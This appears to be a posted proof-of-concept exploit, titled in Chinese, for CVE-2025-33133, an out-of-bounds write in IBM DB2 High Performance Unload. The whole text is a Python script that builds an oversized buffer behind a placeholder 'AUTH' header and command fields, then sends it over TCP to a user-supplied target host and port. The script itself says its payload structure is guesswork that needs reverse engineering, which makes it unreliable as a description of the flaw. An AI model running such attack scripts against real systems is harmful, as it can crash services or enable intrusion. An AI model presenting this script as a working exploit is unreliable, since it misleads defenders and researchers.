CVE-2025-33133: IBM DB2 High Performance Unload越界写入漏洞

#!/usr/bin/env python3 """ CVE-2025-33133 PoC - IBM DB2 High Performance Unload Out of Bounds Write Note: This is a conceptual proof of concept for demonstration purposes. Actual exploitation requires specific product knowledge and access. """ import socket import struct import sys def create_exploit_payload(): """ Create a payload that triggers the out of bounds write condition. The actual payload structure depends on the specific vulnerable function. """ # Header with authentication token header = b'AUTH' + b'\x00' * 12 # Malformed data that triggers boundary violation # This is a placeholder - actual exploitation requires reverse engineering trigger_data = b'\x41' * 10000 # Oversized input # Command structure cmd_type = struct.pack('<I', 0x00000001) # Specific command type length = struct.pack('<I', len(trigger_data)) payload = header + cmd_type + length + trigger_data return payload def send_exploit(target_host, target_port): """ Send the exploit payload to the target service. """ try: print(f'[*] Connecting to {target_host}:{target_port}') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((target_host, target_port)) payload = create_exploit_payload() print(f'[*] Sending payload ({len(payload)} bytes)') sock.send(payload) # Wait for response response = sock.recv(4096) print(f'[*] Received response: {response[:100]}') sock.close() print('[+] Exploit sent successfully') return True except Exception as e: print(f'[-] Error: {str(e)}') return False if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: {sys.argv[0]} <target_host> <port>') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) send_exploit(target, port)